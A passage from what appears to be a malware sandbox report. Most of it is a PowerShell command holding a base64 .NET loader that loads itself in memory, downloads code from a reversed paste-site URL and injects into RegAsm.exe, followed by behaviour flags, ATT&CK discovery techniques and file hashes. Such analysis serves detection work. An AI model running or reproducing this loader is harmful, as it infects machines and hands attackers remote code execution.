J5My5kbGwAPE1vZHVsZT4ATXlBcHBsaWNhdGlvbgBDbGFzc0xpYnJhcnkzLk15AEFwcGxpY2F0aW9uQmFzZQBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuQXBwbGljYXRpb25TZXJ2aWNlcwBNaWNyb3NvZnQuVmlzdWFsQmFzaWMATXlDb21wdXRlcgBDb21wdXRlcgBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuRGV2aWNlcwBNeVByb2plY3QAT2JqZWN0AFN5c3RlbQBtc2NvcmxpYgBNeVdlYlNlcnZpY2VzAFRocmVhZFNhZmVPYmplY3RQcm92aWRlcmAxAFJlc291cmNlcwBDbGFzc0xpYnJhcnkzLk15LlJlc291cmNlcwBNeVNldHRpbmdzAEFwcGxpY2F0aW9uU2V0dGluZ3NCYXNlAFN5c3RlbS5Db25maWd1cmF0aW9uAE15U2V0dGluZ3NQcm9wZXJ0eQBDbGFzczEAPE1vZHVsZT57NGMyNDk4MDEtM2YxYy00NzUwLThjYmMtNGI2NDFhZjliMzlhfQAuY3RvcgBWb2lkAG1fQ29tcHV0ZXJPYmplY3RQcm92aWRlcgBtX0FwcE9iamVjdFByb3ZpZGVyAG1fVXNlck9iamVjdFByb3ZpZGVyAFVzZXIAbV9NeVdlYlNlcnZpY2VzT2JqZWN0UHJvdmlkZXIAUWNEbjlDd3hkaFpXTmI2N29tAC5jY3RvcgBJbnQzMgBnZXRfQ29tcHV0ZXIAZ2V0X0dldEluc3RhbmNlAGdldF9BcHBsaWNhdGlvbgBnZXRfVXNlcgBnZXRfV2ViU2VydmljZXMAd1JzQjdoVlJ0U1BKTEp2VzVrAEJvb2xlYW4AUjJlOEdvS0NmSkR0eGY3NWRRAEFwcGxpY2F0aW9uAFdlYlNlcnZpY2VzAG5zRzZNTFludjdqU0FxSmlnbgBFcXVhbHMAbwBHZXRIYXNoQ29kZQBHZXRUeXBlAFR5cGUAVG9TdHJpbmcAU3RyaW5nAENyZWF0ZV9fSW5zdGFuY2VfXwBUAGluc3RhbmNlAEFjdGl2YXRvcgBDcmVhdGVJbnN0YW5jZQBEaXNwb3NlX19JbnN0YW5jZV9fAFJkbm5wU1JJU2xLNDJiTXNaYQBSdW50aW1lSGVscGVycwBTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAEdldE9iamVjdFZhbHVlAFlobzZHRkxCazFqWjNlcnhsRAB0MUFtdkZGNnZKb2pjY0szazUAWFJ1cldScWpCYmhyRWZNMWsyAFdLRklTbmdhZW5rTXNZSTAxdQBVbk9yMWlFU0Nmblp0OUxUR0QAUnVudGltZVR5cGVIYW5kbGUAR2V0VHlwZUZyb21IYW5kbGUARUs3TkJ3ZFVpSTFWcDk0bThVAG1fQ29udGV4dABDb250ZXh0VmFsdWVgMQBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuTXlTZXJ2aWNlcy5JbnRlcm5hbABrb2JKSVh6dFdXZ2RHMjVDdUYAZ2V0X1ZhbHVlAHNldF9WYWx1ZQBSSEVlRUVKTmdTUGpSQkNDU3E1AFRkQURBbEpKR0RwQTk0V2RTbG4AR2V0SW5zdGFuY2UAcmVzb3VyY2VNYW4AUmVzb3VyY2VNYW5hZ2VyAFN5c3RlbS5SZXNvdXJjZXMAcmVzb3VyY2VDdWx0dXJlAEN1bHR1cmVJbmZvAFN5c3RlbS5HbG9iYWxpemF0aW9uAFdBNFdubEhoSkZQdEVvVm0zRABnZXRfUmVzb3VyY2VNYW5hZ2VyAGdldF9Bc3NlbWJseQBBc3NlbWJseQBTeXN0ZW0uUmVmbGVjdGlvbgBnZXRfQ3VsdHVyZQBzZXRfQ3VsdHVyZQBWYWx1ZQBhWWdOMWRuaExxNHVOdzVwSEsAUmVmZXJlbmNlRXF1YWxzAGI5bjdDaXYzNlZYVW5WSWRJZABScVB3b0FaeWtjSG9BZGlRTXEASTZvVVVlOXIwZXZIOFFRUmExAEN1bHR1cmUAZGVmYXVsdEluc3RhbmNlAGZtZ3JraUcwcThJRTlNSTF5WABnZXRfRGVmYXVsdABWY28xc2tUM1JHcUgyOXRveWsAU2V0dGluZ3NCYXNlAFN5bmNocm9uaXplZABVUE1lcEhwNHJBUk15MXVSMkgAdGxmV01hNVFtVWhFaWFKVlJRAERlZmF1bHQAZ2V0X1NldHRpbmdzAFJmWjZVUldOT0EwUGhZZEZhVgBTZXR0aW5ncwBDSVhlQ0lsT2hzRmxFaDB2dnIAUnVuAFFCWHRYAEV4Y2VwdGlvbgBXZWJDbGllbnQAU3lzdGVtLk5ldABSZXBsYWNlAEdldE1ldGhvZABNZXRob2RJbmZvAENvbmNhdABTdHJpbmdzAFN0clJldmVyc2UAUHJvamVjdERhdGEATWljcm9zb2Z0LlZpc3VhbEJhc2ljLkNvbXBpbGVyU2VydmljZXMAU2V0UHJvamVjdEVycm9yAG5sUDZGRjFsUXNHMmJrajNFMwBTZWN1cml0eVByb3RvY29sVHlwZQBTZXJ2aWNlUG9pbnRNYW5hZ2VyAHNldF9TZWN1cml0eVByb3RvY29sAFJEaVJCaGIzdVlvazhQT2pRVwBFbmNvZGluZwBTeXN0ZW0uVGV4dABnZXRfVVRGOABNRFRNb3lDb29SZkZmUndvaE0Ac2V0X0VuY29kaW5nAGYxZjJoeUJVeDdscEg5bXRmVwBEb3dubG9hZFN0cmluZwBJNWFRWXd4Q0pWV21yQ0xvZ3QAdW9sWDNqWHhKdGtWc05mSTR3AEFwcERvbWFpbgBnZXRfQ3VycmVudERvbWFpbgB4OUtTWFMwQkI2dWJ5TnhiM3YAQ29udmVydABGcm9tQmFzZTY0U3RyaW5nAEJ5dGUAUHNpRFBEaHhLMzR4Znl2TnVBAExvYWQARG03aGo5aXJkUW5kS1l0V2NOAEc3V3FPd3JMV283VEc4UGtRTwBPc05JNG9taGNDd3Z2UE5xSHkATWV0aG9kQmFzZQBJbnZva2UAYjNZZ1RENmdpbDM1WEpQWXZPAENsZWFyUHJvamVjdEVycm9yAG9EVU1HdVBGZnd0eEozZVpldABBMXRmdVJhM0tFY292cEdwMWIAbV81Y2UwMzkzMDYyYjI0YWFjOTFiNzk2Y2I1MzNkNjk1NQBtXzk5ODQ5N2JkZTI4NzRjNTA4ZjQyNjRmY2ZkNzVkOTc4AG1fMGNkZmY2M2ZiODE0NDMxY2I0NTlkMDkzYjRlYjNkMzcAbV85MTliMGQ1ZTZmMmQ0NmM1OGIxNjk0MzAxNjhhZjEyZABtXzQ1OGNjM2YzNTZkYjRkMWJhYzQzMmUzMjA4MmJkZTAwAG1fZTg1ZjBjYzg5ZjRkNDA2NGI1Njc2YWEzMDJlMWQ3NjAAbV9iZDdlMDU5MTgzZDc0MGQ2YWQxMjE2NjNmMzM0N2NmZQBtXzliNGRlYjAzNmRmNDQ2OTc5M2ZmZjRhNzRiODllMWVhAG1fZmIwNWU0YTZiNjllNGRhNmEyZmEyMjRjOTFiN2I1YWYAbV85OWI1ZTJlOGI1ODc0NjRlODBjOTJmOTIyZmVmOWNiOQBtXzQwMWNmYWYyN2JmODQzMjQ5MDE1NzRmMzk4NmIyYzZlAG1fMGFhMmJlY2Q2MDMwNGExMzg1OTNhZmJmMjk2NTcyZDEAbV9kOWY3OWQyNWQ1YzI0MjRiOGRkZTYyYzU0NjhhMWRiMgBtXzFhNTlkYmY3OGFkNDQzZGU5ZDllMTViYzdlNjU0NzUxAG1fMzNjNWZmMTlhM2MwNGYxNDhmOWM5ZGQ1YTdkM2YyMDgAbV8zZWUyZWQ5YTk2YzI0YzhmYmQxNzYzZDY5ZDNiODdmYQBtX2FmNmRjYWRhNjM3ZTQ1YWE5ZjY4MjlkMmZjY2JkYjkzAG1fZjAwOGNkNzA0YTliNDczZGJlMDgxYjg4MDg2MWZiOTUAbV85YTJiMGY5ZTQ3OTE0YWZmODFjMzBkNDI3MTRmYmM1ZgBtXzgwMTcxZjBhM2M5NzRiMjY5NGUzMDkxZWI3OThmYWZmAG1fNmExNjYwODQzOTM2NDI1NGI0ZGRjY2NhNTdlNGVlMzcAbV8xNzMwYTkzMjkwNTY0NjIwYWE5Zjk1YmZlNmE5NTkyNgBtX2YwMjE1OGFiNzA2MTRiZjRiNzZjM2RlYjJiNDNiZmY0AG1fZjliMWVmOTRiMWY5NDhhOWE1YmVjZWNiNjY4ZGRkNzkAbV84MzI3YjFmMWE2ZDg0NDI3YjU5OGU1ODA3ZTAxZmY5NABtXzE2YWQwYTlhZDI5NzQ4NzliNTE5ZWM4ZWQ4YzQ2ZmEwAG1fYWIxN2U3OTkyMTU1NDNkNWI0MjNjOWY1YWMzYTgxNjcAbV83ZGEyODc5NmQ1YTQ0ZGNkYjc0NDk4OGViYTQ1ZDExZQBtX2E1NWE4OTBhMjA3MzRiYTBiNjgzYzJiNzlkNjU4NzY1AG1fNDdhMjFhYWQwZDBlNDQ5ODk2NmNlNTI0NmNkMDM4NTkAbV9lODM0OWNiNWJkMjQ0ZjEyYTVjYmQwOGE3NGUxZWI3ZgBtX2JhOGVjZTM4NDM3YzQyMDFiMjYwZWE1ODNmZWRhMGM1AG1fMWQxMjYwYTY4OTNmNGM1Yzg3ZDk1MDgyYWNiNTkxNWUAbV9lZGJjNDQ2Njg3Yzk0MGYxOGVlMTM0MWFmZDU5MzM3YgBtX2U3ZWYxZmNhNmZmMzQ4ZDU5YTFlZGM0YjE4Mjk4MDNiAG1fYmY2NmI3OWE5OWIzNDAwY2E5NjgzYzgyMjJjZTVjMDYAbV81YTY4NmExZTRmYTM0N2Y2YTg4MjI2NGIwOWRhNzg2NwBtX2EzMmVlNDMyZDE5ZTRjY2VhNjc1M2MzNzNhYzJlOTViAG1fZDRjZDdlYTNkY2U2NDI0ZTkyYWU1MWZmM2YyYzA1N2YAbV8yZWZiZDFkZDNkZjQ0NTZhOTc2ZDczNGMyNGE4NGE3NQBtXzg5MDQwMDQxYmZlNzRjODdhMzZlNWUxN2ZiNzlkYzdkAG1fMjViMDk5ODliNzliNGNiZTk0YTdkN2IzNWE4YWM5OGEAbV8yNzNlYTAxYmFmZDQ0MTk2YWU5MzU4NmNhZmM3MGM4NgBtXzMxNDZjZmFjMjEzMTRjMjM5YzEzZDA0YjRiNzM1ODk1AG1fZjQ1NTM1ZWI5ZmQ1NGMxODhhZTFjOWY4MzJjYjUxNDQAbV8wM2Y0NjQxY2E2YzM0ZTZiYmEwYzY3ZTk3ZmVjM2E3NwBtXzkxOTUzYTY1NzYzODRkYjRiMzhiOGQ1MDk5MGYwYTg5AG1fOTIyZTI4NjM0MDI1NGJkNWJkZGI1MGFiMjQ5N2YzNjcAbV9kMmYyNGM0OWRmMDY0NWMwODgzYTg5ZGMwNjhiZjFlNgBtXzdjMjQwNDEyMWMxMDQyODY4ZTY4OWZkNmZhYjM5ZTQ4AG1fMmE2ZTUwZjNkYzE1NDViMmFjMDI0ODJlZGI2ODMzNmQAbV9iM2ZjM2E4YmE3Zjk0NTAwYjNmZjg3NjczNzQzNzU2NwBtX2Q5NGRlZmI0YzJiYzQwY2FhOGY5OTQxYjcyZjUzZTVlAG1fYTdhOGJiYWI5Y2NmNDJmMGEzMGZjZGZhNWYxNjBjOTYAbV83OTY2MDFkYTlkZDc0YWEyYTI1NDVlMGMyZDk1ODQyMQBtXzdmYTllNzE0NWE2OTRjNGQ5MmE0MDY0ODM2NDc1MmExAG1fMWIzNTVmZjJiNzhkNDE4NjhhNDQzMDY4MjZkNThlY2UAbV9lOWYzMDE3MmU0M2M0MjFjYWI5YzI4ODdiYTRkN2I1OABtXzg2YzFiMzdjOWZhZDRiMzFhMmFiZjQ4YzdkMDQwODU3AG1fYjc1YTgwZGE3ZDYzNDI5YTkyZjk3OWZlZGM0ZWQ5ODIAbV8yODI0YTY4ZmE0MDA0YTZiYTFiYWUxN2Q2MDNkZGFmNwBtXzU3NDY1NTEzZjk1NzRkY2I5MTFjMTU3MzQxMmI1OWUyAG1fYjk3YjgwZjk0ZWJiNGJmZWJmOGI4MTZmYTNkYTVkOGEAbV80ZGRjNzExYjk5YjY0NjQyYTEzZTAzMmJlYmE3ZDQ2NwBtX2I2Y2U3YzllMmFiNDQwZjI4NDFmODE5NmIyYzRhOWEyAG1fMTZkNWQ4YWMyMDg0NGFhZTkyY2VjMzE4NjQxYzUzMGQAbV9jMzIwZGQ4MjI0YmM0ZjlhOTNlYzhjMjkzZjZiZDdlNwBtXzE0MDgwNTQwYWNhNjRiYmM5MjFhYjFjNTkzNDRmZjkwAG1fZGM5YzY4YzU0OTc3NDBkMGI2NTU2NTQ0OGQ3YjYyNWYAbV82ODQ2ZWZiYjBkNGE0ZmJlOWIwNGU4ZTJjODhhYWMwNgBtX2IyZDZkODZiYzUxMTQyN2E4YTBlMmFmZDRlNWZiZWVhAG1fZTViZmU3MTUyYzk3NGUzMjk5OGQ0Y2VhMGU0OTc4M2EAbV8xMjg1M2E2YjFlMTE0NTE1YjI3YmUyNmRmOTdmNzdmNwBtXzAwMGQxMTM4NTM1MTQ0MjM4NzJiNzM4ZmRiODJjMjI3AG1fZjgwZTJmMDZkZGFmNDg2NTg4ZmVhMWMyOGRjMzZkMTQAbV9kNjhiMDc5YjMwNmY0NDNkOTg1YmY1NzNmMTE5NTdjNQBtXzYwMDYxMzZiMDFjZTRhYjE4YmZkNDVjY2Q0MjJmYWIzAG1fYjM3ZGU5YzRhMzE2NGRlZTliYzZiNWI4N2E2NjFhYWIAbV9hOWZiY2U0NGVkNWM0M2EyODM0YzNhZDljYjhlMTc1NwBtXzY4ODQ1Y2E2ZDcyNzQxNzU4NWViNWE1ZDU5OTZhMjIyAG1fNTNlOTI1ZDU5NjM4NDZhNjllYjg0OWVhZDhkY2I1OGIAbV8xOGJiZmI5N2I1NDY0ZDMzOWZjMGVkMWUzNDUwYzEzMQBtX2Y3Zjg0OTgxMzMyYzRkZThhODdiNjM1ZjM4ZTM1MTZkAG1fNGZjZTRmZjY2YzkyNGVkMGFkYWI4ZDA0N2Q2MDE0NzAAbV9lOWI0MDA0YTBmMWQ0MWMyYTBiODQyZTg0MjFlNWI5OQBtX2U2MjdmZTA3NmQ3MjQ1YTU5OTM2MjYwNmE2MjRkNDU0AG1fNjQxMGQ4YTYxNTk2NDE0ZDg5YjNkZGUyZDI5MjU1NzEAbV83YzJlNWIyNjlkMzE0M2ViYWY4ODFjNGM1NDE3MzljNQBtX2Y5MzA5YmUzNDA1NTRmYTI5NWE1OTkxY2M4NzE1MWY4AG1fMmVmZDkxZDlmOThlNGNjYmIwNDBlN2U4NjMwZDRhOTYAbV8zMmY3ZjQwMTdlMzU0NDBiOGIxYzgzNTBmY2RlM2UyOABtX2E0ZWM3ZWNkYWRlMjRmMWNhNDY5MjEzNmNmNjBiMzk4AG1fYjQ4ZjQ4YzE2YjY0NDFjMWJlNTg0MTJmZDllYWI1Y2YAbV8wOTBkMzAzOTVmZmQ0OWZiYmY4OTcxOWZkNDJjNmVjMABtXzJkYjZlNDVlN2ZjYTRjMzliMDdkMmFiNDJhNDlhNzFmAG1fYzhjYWNkMDdiNWNkNDI0ZGE0N2U4MjgzMDc5M2FjNDkAbV80NmM2ODk2NWQ2Mzk0OWZkYjI1Yjc4ZDhhNmJkYmY5MwBtXzA4MzI2YjY1NGJmYTRiNGE4MDFkY2U5NmNiNGY5N2RkAG1fN2I0YzVlODEzY2NkNDc1OTlmY2E1Mzk1MjUwMjQzNjUAbV80MzRhNzJmMjlkN2Q0ZTZjOTUxM2IxMDFiY2JmMzM2OABKck1mY1NKM25hUjJsOFVDNDNwAHM5ZWZkNDhlYzgxZmI0OWMwYTQyOTc4OTQ3YTc5NmQ4MwBlVm1kUkZKY1h4eTk2SXIzbEZtAHo4ZktJZUp5VzJXUkFLR0NJbjUAaFNLVUNhSk1sd0hkVEJEdU5RNgBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1dGUAU3lzdGVtLkRpYWdub3N0aWNzAERlYnVnZ2luZ01vZGVzAEFzc2VtYmx5VGl0bGVBdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGUAQXNzZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAENvbVZpc2libGVBdHRyaWJ1dGUAU3lzdGVtLlJ1bn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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=';[Byte[]] $DvdYa = [System.Convert]::FromBase64String( $xcaOe.replace('ÐÐÐ','A') );[System.AppDomain]::CurrentDomain.Load($DvdYa).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] ('KE6C9xWh5CZx/daolnwod/moc.oietsap//:sptth'))"
4⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:800

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1608

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Remote System Discovery

1

T1018

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27
MD5
4ddf07dcd8d235041f5484380e78800a

SHA1
6b550550a7bd3858c70dcacca3a9f70dcd8ba92b

SHA256
ec75e5a557feb60daf387317d8b29eb176d2948ea308b08914e531460e82b7bc

SHA512
5be4e213c29f20fbb68daea3f941d42894cb15a9c9a9df4021ff36ee59657622a89c0740c048beeb44992d276f33abde0b036364f0e6f6cfaf79aa52ba5139cb

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27
MD5
b8b264e7c2af72325376fa9825c91df2

SHA1
78ed0bf8ab4f1b4f2a2605623d75afecd08628e3

SHA256
5783802a9ada773280cdc7fe571758098d8770812215217ab1368f97e7177872

SHA512
e9481e29977790e207eabd40f01063bb21e8f12cbde1f50fa7a7d9d17aaf20608e4121faf731047f7a10d0602fcd761eb6a87489ae29fed0bb1f7185d64cf793

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
MD5
c6b0a774fa56e0169ed7bb7b25c114dd

SHA1
bcdba7d4ecfff2180510850e585b44691ea81ba5

SHA256
b87210c4a0814394371ec7fba00fc02d9adbb22bcb1811a2abab46fdf4325da9

SHA512
42295d57f735c31749235c8463ac2c31778bff46a6a16c87918440d0b2fc70d2f1f6fb10d2499105866f7022108bbda4268d2580356245bd19bbed1ee3a2c446

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\0CI3J9RQ.cookie
MD5
3339f23a37d5728cbaabbba38cb9c9a9

SHA1
